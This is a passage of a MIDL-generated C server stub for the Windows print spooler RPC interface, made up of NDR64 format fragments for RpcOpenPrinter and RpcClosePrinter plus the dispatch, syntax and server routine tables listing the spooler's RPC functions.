3048 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */
3049 | (NDR64_UINT32) 16 /* 0x10 */ , /* Stack size */
3050 | (NDR64_UINT32) 0 /* 0x0 */,
3051 | (NDR64_UINT32) 8 /* 0x8 */,
3052 | (NDR64_UINT16) 0 /* 0x0 */,
3053 | (NDR64_UINT16) 0 /* 0x0 */,
3054 | (NDR64_UINT16) 1 /* 0x1 */,
3055 | (NDR64_UINT16) 8 /* 0x8 */
3056 | },
3057 | {
3058 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3059 | {
3060 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3061 | 0x72, /* FC64_BIND_PRIMITIVE */
3062 | (NDR64_UINT8) 0 /* 0x0 */,
3063 | 0 /* 0x0 */, /* Stack offset */
3064 | (NDR64_UINT8) 0 /* 0x0 */,
3065 | (NDR64_UINT8) 0 /* 0x0 */
3066 | },
3067 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
3068 | },
3069 | {
3070 | /* DWORD */ /* parameter DWORD */
3071 | &__midl_frag153,
3072 | {
3073 | /* DWORD */
3074 | 0,
3075 | 0,
3076 | 0,
3077 | 0,
3078 | 1,
3079 | 1,
3080 | 1,
3081 | 1,
3082 | 0,
3083 | 0,
3084 | 0,
3085 | 0,
3086 | 0,
3087 | (NDR64_UINT16) 0 /* 0x0 */,
3088 | 0
3089 | }, /* [out], IsReturn, Basetype, ByValue */
3090 | (NDR64_UINT16) 0 /* 0x0 */,
3091 | 8 /* 0x8 */, /* Stack offset */
3092 | }
3093 | };
3094 |
3095 | static const __midl_frag75_t __midl_frag75 =
3096 | {
3097 | /* struct _NDR64_CONTEXT_HANDLE_FORMAT */
3098 | 0x70, /* FC64_BIND_CONTEXT */
3099 | (NDR64_UINT8) 225 /* 0xe1 */,
3100 | (NDR64_UINT8) 0 /* 0x0 */,
3101 | (NDR64_UINT8) 1 /* 0x1 */
3102 | };
3103 |
3104 | static const __midl_frag74_t __midl_frag74 =
3105 | {
3106 | /* *struct _NDR64_POINTER_FORMAT */
3107 | 0x20, /* FC64_RP */
3108 | (NDR64_UINT8) 4 /* 0x4 */,
3109 | (NDR64_UINT16) 0 /* 0x0 */,
3110 | &__midl_frag75
3111 | };
3112 |
3113 | static const __midl_frag73_t __midl_frag73 =
3114 | {
3115 | /* RpcClosePrinter */
3116 | {
3117 | /* RpcClosePrinter */ /* procedure RpcClosePrinter */
3118 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */
3119 | (NDR64_UINT32) 16 /* 0x10 */ , /* Stack size */
3120 | (NDR64_UINT32) 60 /* 0x3c */,
3121 | (NDR64_UINT32) 68 /* 0x44 */,
3122 | (NDR64_UINT16) 0 /* 0x0 */,
3123 | (NDR64_UINT16) 0 /* 0x0 */,
3124 | (NDR64_UINT16) 2 /* 0x2 */,
3125 | (NDR64_UINT16) 8 /* 0x8 */
3126 | },
3127 | {
3128 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3129 | {
3130 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3131 | 0x70, /* FC64_BIND_CONTEXT */
3132 | (NDR64_UINT8) 224 /* 0xe0 */,
3133 | 0 /* 0x0 */, /* Stack offset */
3134 | (NDR64_UINT8) 0 /* 0x0 */,
3135 | (NDR64_UINT8) 0 /* 0x0 */
3136 | },
3137 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
3138 | },
3139 | {
3140 | /* phPrinter */ /* parameter phPrinter */
3141 | &__midl_frag75,
3142 | {
3143 | /* phPrinter */
3144 | 0,
3145 | 0,
3146 | 0,
3147 | 1,
3148 | 1,
3149 | 0,
3150 | 0,
3151 | 0,
3152 | 1,
3153 | 0,
3154 | 0,
3155 | 0,
3156 | 0,
3157 | (NDR64_UINT16) 0 /* 0x0 */,
3158 | 0
3159 | }, /* [in], [out], SimpleRef */
3160 | (NDR64_UINT16) 0 /* 0x0 */,
3161 | 0 /* 0x0 */, /* Stack offset */
3162 | },
3163 | {
3164 | /* DWORD */ /* parameter DWORD */
3165 | &__midl_frag153,
3166 | {
3167 | /* DWORD */
3168 | 0,
3169 | 0,
3170 | 0,
3171 | 0,
3172 | 1,
3173 | 1,
3174 | 1,
3175 | 1,
3176 | 0,
3177 | 0,
3178 | 0,
3179 | 0,
3180 | 0,
3181 | (NDR64_UINT16) 0 /* 0x0 */,
3182 | 0
3183 | }, /* [out], IsReturn, Basetype, ByValue */
3184 | (NDR64_UINT16) 0 /* 0x0 */,
3185 | 8 /* 0x8 */, /* Stack offset */
3186 | }
3187 | };
3188 |
3189 | static const __midl_frag16_t __midl_frag16 =
3190 | {
3191 | /* */
3192 | {
3193 | /* *BYTE */
3194 | 0x21, /* FC64_UP */
3195 | (NDR64_UINT8) 32 /* 0x20 */,
3196 | (NDR64_UINT16) 0 /* 0x0 */,
3197 | &__midl_frag13
3198 | }
3199 | };
3200 |
3201 | static const __midl_frag15_t __midl_frag15 =
3202 | 0x2 /* FC64_INT8 */;
3203 |
3204 | static const __midl_frag14_t __midl_frag14 =
3205 | {
3206 | /* */
3207 | (NDR64_UINT32) 1 /* 0x1 */,
3208 | {
3209 | /* struct _NDR64_EXPR_VAR */
3210 | 0x3, /* FC_EXPR_VAR */
3211 | 0x6, /* FC64_UINT32 */
3212 | (NDR64_UINT16) 0 /* 0x0 */,
3213 | (NDR64_UINT32) 0 /* 0x0 */
3214 | }
3215 | };
3216 |
3217 | static const __midl_frag13_t __midl_frag13 =
3218 | {
3219 | /* *BYTE */
3220 | {
3221 | /* *BYTE */
3222 | 0x41, /* FC64_CONF_ARRAY */
3223 | (NDR64_UINT8) 0 /* 0x0 */,
3224 | {
3225 | /* *BYTE */
3226 | 0,
3227 | 0,
3228 | 0,
3229 | 0,
3230 | 0,
3231 | 0,
3232 | 0,
3233 | 0
3234 | },
3235 | (NDR64_UINT8) 0 /* 0x0 */,
3236 | (NDR64_UINT32) 1 /* 0x1 */,
3237 | &__midl_frag14
3238 | },
3239 | {
3240 | /* struct _NDR64_ARRAY_ELEMENT_INFO */
3241 | (NDR64_UINT32) 1 /* 0x1 */,
3242 | &__midl_frag15
3243 | }
3244 | };
3245 |
3246 | static const __midl_frag12_t __midl_frag12 =
3247 | {
3248 | /* DEVMODE_CONTAINER */
3249 | {
3250 | /* DEVMODE_CONTAINER */
3251 | 0x35, /* FC64_FORCED_BOGUS_STRUCT */
3252 | (NDR64_UINT8) 7 /* 0x7 */,
3253 | {
3254 | /* DEVMODE_CONTAINER */
3255 | 1,
3256 | 1,
3257 | 0,
3258 | 0,
3259 | 0,
3260 | 0,
3261 | 0,
3262 | 0
3263 | },
3264 | (NDR64_UINT8) 0 /* 0x0 */,
3265 | (NDR64_UINT32) 16 /* 0x10 */,
3266 | 0,
3267 | 0,
3268 | &__midl_frag16,
3269 | },
3270 | {
3271 | /* */
3272 | {
3273 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
3274 | 0x5, /* FC64_INT32 */
3275 | (NDR64_UINT8) 0 /* 0x0 */,
3276 | (NDR64_UINT16) 0 /* 0x0 */,
3277 | (NDR64_UINT32) 0 /* 0x0 */
3278 | },
3279 | {
3280 | /* struct _NDR64_MEMPAD_FORMAT */
3281 | 0x90, /* FC64_STRUCTPADN */
3282 | (NDR64_UINT8) 0 /* 0x0 */,
3283 | (NDR64_UINT16) 4 /* 0x4 */,
3284 | (NDR64_UINT32) 0 /* 0x0 */
3285 | },
3286 | {
3287 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
3288 | 0x14, /* FC64_POINTER */
3289 | (NDR64_UINT8) 0 /* 0x0 */,
3290 | (NDR64_UINT16) 0 /* 0x0 */,
3291 | (NDR64_UINT32) 0 /* 0x0 */
3292 | },
3293 | {
3294 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
3295 | 0x93, /* FC64_END */
3296 | (NDR64_UINT8) 0 /* 0x0 */,
3297 | (NDR64_UINT16) 0 /* 0x0 */,
3298 | (NDR64_UINT32) 0 /* 0x0 */
3299 | }
3300 | }
3301 | };
3302 |
3303 | static const __midl_frag11_t __midl_frag11 =
3304 | {
3305 | /* *DEVMODE_CONTAINER */
3306 | 0x20, /* FC64_RP */
3307 | (NDR64_UINT8) 0 /* 0x0 */,
3308 | (NDR64_UINT16) 0 /* 0x0 */,
3309 | &__midl_frag12
3310 | };
3311 |
3312 | static const __midl_frag8_t __midl_frag8 =
3313 | {
3314 | /* struct _NDR64_CONTEXT_HANDLE_FORMAT */
3315 | 0x70, /* FC64_BIND_CONTEXT */
3316 | (NDR64_UINT8) 160 /* 0xa0 */,
3317 | (NDR64_UINT8) 0 /* 0x0 */,
3318 | (NDR64_UINT8) 1 /* 0x1 */
3319 | };
3320 |
3321 | static const __midl_frag7_t __midl_frag7 =
3322 | {
3323 | /* *struct _NDR64_POINTER_FORMAT */
3324 | 0x20, /* FC64_RP */
3325 | (NDR64_UINT8) 4 /* 0x4 */,
3326 | (NDR64_UINT16) 0 /* 0x0 */,
3327 | &__midl_frag8
3328 | };
3329 |
3330 | static const __midl_frag4_t __midl_frag4 =
3331 | {
3332 | /* RpcOpenPrinter */
3333 | {
3334 | /* RpcOpenPrinter */ /* procedure RpcOpenPrinter */
3335 | (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */
3336 | (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */
3337 | (NDR64_UINT32) 8 /* 0x8 */,
3338 | (NDR64_UINT32) 68 /* 0x44 */,
3339 | (NDR64_UINT16) 0 /* 0x0 */,
3340 | (NDR64_UINT16) 0 /* 0x0 */,
3341 | (NDR64_UINT16) 6 /* 0x6 */,
3342 | (NDR64_UINT16) 8 /* 0x8 */
3343 | },
3344 | {
3345 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3346 | {
3347 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3348 | 0x71, /* FC64_BIND_GENERIC */
3349 | (NDR64_UINT8) 0 /* 0x0 */,
3350 | 0 /* 0x0 */, /* Stack offset */
3351 | (NDR64_UINT8) 0 /* 0x0 */,
3352 | (NDR64_UINT8) 8 /* 0x8 */
3353 | },
3354 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
3355 | },
3356 | {
3357 | /* pPrinterName */ /* parameter pPrinterName */
3358 | &__midl_frag139,
3359 | {
3360 | /* pPrinterName */
3361 | 1,
3362 | 1,
3363 | 0,
3364 | 1,
3365 | 0,
3366 | 0,
3367 | 0,
3368 | 0,
3369 | 0,
3370 | 0,
3371 | 0,
3372 | 0,
3373 | 0,
3374 | (NDR64_UINT16) 0 /* 0x0 */,
3375 | 0
3376 | }, /* MustSize, MustFree, [in] */
3377 | (NDR64_UINT16) 0 /* 0x0 */,
3378 | 0 /* 0x0 */, /* Stack offset */
3379 | },
3380 | {
3381 | /* pHandle */ /* parameter pHandle */
3382 | &__midl_frag8,
3383 | {
3384 | /* pHandle */
3385 | 0,
3386 | 0,
3387 | 0,
3388 | 0,
3389 | 1,
3390 | 0,
3391 | 0,
3392 | 0,
3393 | 1,
3394 | 0,
3395 | 0,
3396 | 0,
3397 | 0,
3398 | (NDR64_UINT16) 0 /* 0x0 */,
3399 | 0
3400 | }, /* [out], SimpleRef */
3401 | (NDR64_UINT16) 0 /* 0x0 */,
3402 | 8 /* 0x8 */, /* Stack offset */
3403 | },
3404 | {
3405 | /* pDatatype */ /* parameter pDatatype */
3406 | &__midl_frag139,
3407 | {
3408 | /* pDatatype */
3409 | 1,
3410 | 1,
3411 | 0,
3412 | 1,
3413 | 0,
3414 | 0,
3415 | 0,
3416 | 0,
3417 | 0,
3418 | 0,
3419 | 0,
3420 | 0,
3421 | 0,
3422 | (NDR64_UINT16) 0 /* 0x0 */,
3423 | 0
3424 | }, /* MustSize, MustFree, [in] */
3425 | (NDR64_UINT16) 0 /* 0x0 */,
3426 | 16 /* 0x10 */, /* Stack offset */
3427 | },
3428 | {
3429 | /* pDevModeContainer */ /* parameter pDevModeContainer */
3430 | &__midl_frag12,
3431 | {
3432 | /* pDevModeContainer */
3433 | 1,
3434 | 1,
3435 | 0,
3436 | 1,
3437 | 0,
3438 | 0,
3439 | 0,
3440 | 0,
3441 | 1,
3442 | 0,
3443 | 0,
3444 | 0,
3445 | 0,
3446 | (NDR64_UINT16) 0 /* 0x0 */,
3447 | 0
3448 | }, /* MustSize, MustFree, [in], SimpleRef */
3449 | (NDR64_UINT16) 0 /* 0x0 */,
3450 | 24 /* 0x18 */, /* Stack offset */
3451 | },
3452 | {
3453 | /* AccessRequired */ /* parameter AccessRequired */
3454 | &__midl_frag153,
3455 | {
3456 | /* AccessRequired */
3457 | 0,
3458 | 0,
3459 | 0,
3460 | 1,
3461 | 0,
3462 | 0,
3463 | 1,
3464 | 1,
3465 | 0,
3466 | 0,
3467 | 0,
3468 | 0,
3469 | 0,
3470 | (NDR64_UINT16) 0 /* 0x0 */,
3471 | 0
3472 | }, /* [in], Basetype, ByValue */
3473 | (NDR64_UINT16) 0 /* 0x0 */,
3474 | 32 /* 0x20 */, /* Stack offset */
3475 | },
3476 | {
3477 | /* DWORD */ /* parameter DWORD */
3478 | &__midl_frag153,
3479 | {
3480 | /* DWORD */
3481 | 0,
3482 | 0,
3483 | 0,
3484 | 0,
3485 | 1,
3486 | 1,
3487 | 1,
3488 | 1,
3489 | 0,
3490 | 0,
3491 | 0,
3492 | 0,
3493 | 0,
3494 | (NDR64_UINT16) 0 /* 0x0 */,
3495 | 0
3496 | }, /* [out], IsReturn, Basetype, ByValue */
3497 | (NDR64_UINT16) 0 /* 0x0 */,
3498 | 40 /* 0x28 */, /* Stack offset */
3499 | }
3500 | };
3501 |
3502 | static const __midl_frag1_t __midl_frag1 =
3503 | (NDR64_UINT32) 0 /* 0x0 */;
3504 |
3505 |
3506 | #include "poppack.h"
3507 |
3508 |
3509 | static const FormatInfoRef winspool_Ndr64ProcTable[] =
3510 | {
3511 | &__midl_frag131,
3512 | &__midl_frag4,
3513 | &__midl_frag131,
3514 | &__midl_frag131,
3515 | &__midl_frag131,
3516 | &__midl_frag131,
3517 | &__midl_frag131,
3518 | &__midl_frag131,
3519 | &__midl_frag131,
3520 | &__midl_frag131,
3521 | &__midl_frag131,
3522 | &__midl_frag131,
3523 | &__midl_frag131,
3524 | &__midl_frag131,
3525 | &__midl_frag131,
3526 | &__midl_frag131,
3527 | &__midl_frag131,
3528 | &__midl_frag131,
3529 | &__midl_frag131,
3530 | &__midl_frag131,
3531 | &__midl_frag131,
3532 | &__midl_frag131,
3533 | &__midl_frag131,
3534 | &__midl_frag131,
3535 | &__midl_frag131,
3536 | &__midl_frag131,
3537 | &__midl_frag131,
3538 | &__midl_frag131,
3539 | &__midl_frag131,
3540 | &__midl_frag73,
3541 | &__midl_frag131,
3542 | &__midl_frag131,
3543 | &__midl_frag131,
3544 | &__midl_frag131,
3545 | &__midl_frag131,
3546 | &__midl_frag131,
3547 | &__midl_frag131,
3548 | &__midl_frag134,
3549 | &__midl_frag134,
3550 | &__midl_frag131,
3551 | &__midl_frag131,
3552 | &__midl_frag131,
3553 | &__midl_frag131,
3554 | &__midl_frag134,
3555 | &__midl_frag134,
3556 | &__midl_frag134,
3557 | &__midl_frag131,
3558 | &__midl_frag131,
3559 | &__midl_frag131,
3560 | &__midl_frag134,
3561 | &__midl_frag134,
3562 | &__midl_frag131,
3563 | &__midl_frag131,
3564 | &__midl_frag131,
3565 | &__midl_frag134,
3566 | &__midl_frag134,
3567 | &__midl_frag131,
3568 | &__midl_frag134,
3569 | &__midl_frag131,
3570 | &__midl_frag131,
3571 | &__midl_frag131,
3572 | &__midl_frag131,
3573 | &__midl_frag131,
3574 | &__midl_frag134,
3575 | &__midl_frag134,
3576 | &__midl_frag135
3577 | };
3578 |
3579 |
3580 | static const MIDL_STUB_DESC winspool_StubDesc =
3581 | {
3582 | (void *)& winspool___RpcServerInterface,
3583 | MIDL_user_allocate,
3584 | MIDL_user_free,
3585 | 0,
3586 | RundownRoutines,
3587 | 0,
3588 | 0,
3589 | 0,
3590 | ms2Drprn__MIDL_TypeFormatString.Format,
3591 | 1, /* -error bounds_check flag */
3592 | 0x60001, /* Ndr library version */
3593 | 0,
3594 | 0x801026e, /* MIDL Version 8.1.622 */
3595 | 0,
3596 | 0,
3597 | 0, /* notify & notify_flag routine table */
3598 | 0x2000001, /* MIDL flag */
3599 | 0, /* cs routines */
3600 | (void *)& winspool_ServerInfo, /* proxy/server info */
3601 | 0
3602 | };
3603 |
3604 | static const RPC_DISPATCH_FUNCTION winspool_NDR64__table[] =
3605 | {
3606 | NdrServerCallAll,
3607 | NdrServerCallAll,
3608 | NdrServerCallAll,
3609 | NdrServerCallAll,
3610 | NdrServerCallAll,
3611 | NdrServerCallAll,
3612 | NdrServerCallAll,
3613 | NdrServerCallAll,
3614 | NdrServerCallAll,
3615 | NdrServerCallAll,
3616 | NdrServerCallAll,
3617 | NdrServerCallAll,
3618 | NdrServerCallAll,
3619 | NdrServerCallAll,
3620 | NdrServerCallAll,
3621 | NdrServerCallAll,
3622 | NdrServerCallAll,
3623 | NdrServerCallAll,
3624 | NdrServerCallAll,
3625 | NdrServerCallAll,
3626 | NdrServerCallAll,
3627 | NdrServerCallAll,
3628 | NdrServerCallAll,
3629 | NdrServerCallAll,
3630 | NdrServerCallAll,
3631 | NdrServerCallAll,
3632 | NdrServerCallAll,
3633 | NdrServerCallAll,
3634 | NdrServerCallAll,
3635 | NdrServerCallAll,
3636 | NdrServerCallAll,
3637 | NdrServerCallAll,
3638 | NdrServerCallAll,
3639 | NdrServerCallAll,
3640 | NdrServerCallAll,
3641 | NdrServerCallAll,
3642 | NdrServerCallAll,
3643 | NdrServerCallAll,
3644 | NdrServerCallAll,
3645 | NdrServerCallAll,
3646 | NdrServerCallAll,
3647 | NdrServerCallAll,
3648 | NdrServerCallAll,
3649 | NdrServerCallAll,
3650 | NdrServerCallAll,
3651 | NdrServerCallAll,
3652 | NdrServerCallAll,
3653 | NdrServerCallAll,
3654 | NdrServerCallAll,
3655 | NdrServerCallAll,
3656 | NdrServerCallAll,
3657 | NdrServerCallAll,
3658 | NdrServerCallAll,
3659 | NdrServerCallAll,
3660 | NdrServerCallAll,
3661 | NdrServerCallAll,
3662 | NdrServerCallAll,
3663 | NdrServerCallAll,
3664 | NdrServerCallAll,
3665 | NdrServerCallAll,
3666 | NdrServerCallAll,
3667 | NdrServerCallAll,
3668 | NdrServerCallAll,
3669 | NdrServerCallAll,
3670 | NdrServerCallAll,
3671 | NdrServerCallAll,
3672 | 0
3673 | };
3674 | static const RPC_DISPATCH_TABLE winspool_NDR64__v1_0_DispatchTable =
3675 | {
3676 | 66,
3677 | (RPC_DISPATCH_FUNCTION*)winspool_NDR64__table
3678 | };
3679 |
3680 | static const MIDL_SYNTAX_INFO winspool_SyntaxInfo [ 2 ] =
3681 | {
3682 | {
3683 | {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},
3684 | (RPC_DISPATCH_TABLE*)&winspool_v1_0_DispatchTable,
3685 | ms2Drprn__MIDL_ProcFormatString.Format,
3686 | winspool_FormatStringOffsetTable,
3687 | ms2Drprn__MIDL_TypeFormatString.Format,
3688 | 0,
3689 | 0,
3690 | 0
3691 | }
3692 | ,{
3693 | {{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}},
3694 | (RPC_DISPATCH_TABLE*)&winspool_NDR64__v1_0_DispatchTable,
3695 | 0 ,
3696 | (unsigned short *) winspool_Ndr64ProcTable,
3697 | 0,
3698 | 0,
3699 | 0,
3700 | 0
3701 | }
3702 | };
3703 |
3704 |
3705 | static const SERVER_ROUTINE winspool_ServerRoutineTable[] =
3706 | {
3707 | (SERVER_ROUTINE)RpcEnumPrinters,
3708 | (SERVER_ROUTINE)RpcOpenPrinter,
3709 | (SERVER_ROUTINE)RpcSetJob,
3710 | (SERVER_ROUTINE)RpcGetJob,
3711 | (SERVER_ROUTINE)RpcEnumJobs,
3712 | (SERVER_ROUTINE)RpcAddPrinter,
3713 | (SERVER_ROUTINE)RpcDeletePrinter,
3714 | (SERVER_ROUTINE)RpcSetPrinter,
3715 | (SERVER_ROUTINE)RpcGetPrinter,
3716 | (SERVER_ROUTINE)RpcAddPrinterDriver,
3717 | (SERVER_ROUTINE)RpcEnumPrinterDrivers,
3718 | (SERVER_ROUTINE)RpcGetPrinterDriver,
3719 | (SERVER_ROUTINE)RpcGetPrinterDriverDirectory,
3720 | (SERVER_ROUTINE)RpcDeletePrinterDriver,
3721 | (SERVER_ROUTINE)RpcAddPrintProcessor,
3722 | (SERVER_ROUTINE)RpcEnumPrintProcessors,
3723 | (SERVER_ROUTINE)RpcGetPrintProcessorDirectory,
3724 | (SERVER_ROUTINE)RpcStartDocPrinter,
3725 | (SERVER_ROUTINE)RpcStartPagePrinter,
3726 | (SERVER_ROUTINE)RpcWritePrinter,
3727 | (SERVER_ROUTINE)RpcEndPagePrinter,
3728 | (SERVER_ROUTINE)RpcAbortPrinter,
3729 | (SERVER_ROUTINE)RpcReadPrinter,
3730 | (SERVER_ROUTINE)RpcEndDocPrinter,
3731 | (SERVER_ROUTINE)RpcAddJob,
3732 | (SERVER_ROUTINE)RpcScheduleJob,
3733 | (SERVER_ROUTINE)RpcGetPrinterData,
3734 | (SERVER_ROUTINE)RpcSetPrinterData,
3735 | (SERVER_ROUTINE)RpcWaitForPrinterChange,
3736 | (SERVER_ROUTINE)RpcClosePrinter,
3737 | (SERVER_ROUTINE)RpcAddForm,
3738 | (SERVER_ROUTINE)RpcDeleteForm,
3739 | (SERVER_ROUTINE)RpcGetForm,
3740 | (SERVER_ROUTINE)RpcSetForm,
3741 | (SERVER_ROUTINE)RpcEnumForms,
3742 | (SERVER_ROUTINE)RpcEnumPorts,
3743 | (SERVER_ROUTINE)RpcEnumMonitors,
3744 | (SERVER_ROUTINE)Opnum37NotUsedOnWire,
3745 | (SERVER_ROUTINE)Opnum38NotUsedOnWire,
3746 | (SERVER_ROUTINE)RpcDeletePort,
3747 | (SERVER_ROUTINE)RpcCreatePrinterIC,
3748 | (SERVER_ROUTINE)RpcPlayGdiScriptOnPrinterIC,
3749 | (SERVER_ROUTINE)RpcDeletePrinterIC,
3750 | (SERVER_ROUTINE)Opnum43NotUsedOnWire,
3751 | (SERVER_ROUTINE)Opnum44NotUsedOnWire,
3752 | (SERVER_ROUTINE)Opnum45NotUsedOnWire,
3753 | (SERVER_ROUTINE)RpcAddMonitor,
3754 | (SERVER_ROUTINE)RpcDeleteMonitor,
3755 | (SERVER_ROUTINE)RpcDeletePrintProcessor,
3756 | (SERVER_ROUTINE)Opnum49NotUsedOnWire,
3757 | (SERVER_ROUTINE)Opnum50NotUsedOnWire,
3758 | (SERVER_ROUTINE)RpcEnumPrintProcessorDatatypes,
3759 | (SERVER_ROUTINE)RpcResetPrinter,
3760 | (SERVER_ROUTINE)RpcGetPrinterDriver2,
3761 | (SERVER_ROUTINE)Opnum54NotUsedOnWire,
3762 | (SERVER_ROUTINE)Opnum55NotUsedOnWire,
3763 | (SERVER_ROUTINE)RpcFindClosePrinterChangeNotification,
3764 | (SERVER_ROUTINE)Opnum57NotUsedOnWire,
3765 | (SERVER_ROUTINE)RpcReplyOpenPrinter,
3766 | (SERVER_ROUTINE)RpcRouterReplyPrinter,
3767 | (SERVER_ROUTINE)RpcReplyClosePrinter,
3768 | (SERVER_ROUTINE)RpcAddPortEx,
3769 | (SERVER_ROUTINE)RpcRemoteFindFirstPrinterChangeNotification,
3770 | (SERVER_ROUTINE)Opnum63NotUsedOnWire,
3771 | (SERVER_ROUTINE)Opnum64NotUsedOnWire,
3772 | (SERVER_ROUTINE)RpcRemoteFindFirstPrinterChangeNotificationEx
3773 | };
3774 |
3775 | static const MIDL_SERVER_INFO winspool_ServerInfo =
3776 | {
3777 | &winspool_StubDesc,
3778 | winspool_ServerRoutineTable,
3779 | ms2Drprn__MIDL_ProcFormatString.Format,
3780 | (unsigned short *) winspool_FormatStringOffsetTable,
3781 | 0,
3782 | (RPC_SYNTAX_IDENTIFIER*)&_NDR64_RpcTransferSyntax,
3783 | 2,
3784 | (MIDL_SYNTAX_INFO*)winspool_SyntaxInfo
3785 | };
3786 | #if _MSC_VER >= 1200
3787 | #pragma warning(pop)
3788 | #endif
3789 |
3790 |
3791 | #endif /* defined(_M_AMD64)*/
3792 |
3793 |
--------------------------------------------------------------------------------